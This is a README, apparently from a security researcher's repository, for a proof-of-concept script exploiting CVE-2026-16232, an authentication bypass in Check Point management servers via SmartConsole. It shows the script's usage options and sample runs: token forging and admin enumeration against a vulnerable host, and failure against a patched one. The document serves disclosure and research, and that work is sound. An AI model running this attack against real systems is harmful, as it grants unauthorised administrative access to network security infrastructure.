sfewer-r7/CVE-2026-16232

# CVE-2026-16232 ## 概述 这是一个用于利用 [CVE-2026-16232](https://support.checkpoint.com/results/sk/sk185169/) 的概念验证脚本，该漏洞允许通过使用应用 token 的 SmartConsole 登录过程绕过身份验证。此漏洞影响 Check Point Security Management Server 和 Multi-Domain Security Management Server (MDS)。 有关完整的技术分析，请参阅我们的 [Rapid7 分析](https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/)。 ## 用法 ``` $ python3 CVE-2026-16232.py --help usage: CVE-2026-16232.py [-h] --target TARGET [--fwm-port FWM_PORT] [--cpm-port CPM_PORT] [--timeout TIMEOUT] Demonstrate CVE-2026-16232 by forging an application bind and redeeming a SmartConsole admin ticket. options: -h, --help show this help message and exit --target TARGET management server hostname or IP --fwm-port FWM_PORT SIC/CPMI port (default: 18190) --cpm-port CPM_PORT CPM SOAP port (default: 19009) --timeout TIMEOUT network timeout in seconds (default: 10) ``` ## 示例 针对易受攻击的目标运行 PoC，显示身份验证绕过成功。 ``` $ python3 CVE-2026-16232.py --target 192.168.86.15 =============================================================================================== Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232) =============================================================================================== [+] Targeting: 192.168.86.15 [+] SIC/CPMI connected [+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa [+] Application bind succeeded [+] Application token obtained: XYB8PbLoXXnMx4J7W43UK-BhrjWkolvihp0P98G2qDc [+] getServerInfo hostName: gw-5622ca hostIpAddress: 192.168.86.15 osName: Linux osVersion: 3.10.0-1160.15.2cpx86_64 [+] Application token GetAllAdmins count: 0 [+] SmartConsole application-token ticket redeemed: 31bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808 [+] GetAllAdmins count: 6 admin: UNIX_PASSWORD Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD ``` 针对已修复补丁的目标运行 PoC，显示恶意应用绑定请求失败。 ``` $ python3 CVE-2026-16232.py --target 192.168.86.16 =============================================================================================== Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232) =============================================================================================== [+] Targeting: 192.168.86.16 [+] SIC/CPMI connected [+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin [-] Application bind failed. The target is likely patched and not vulnerable. ```

标签：Modbus, PoC脚本, Python, 无后门, 身份认证绕过, 逆向工具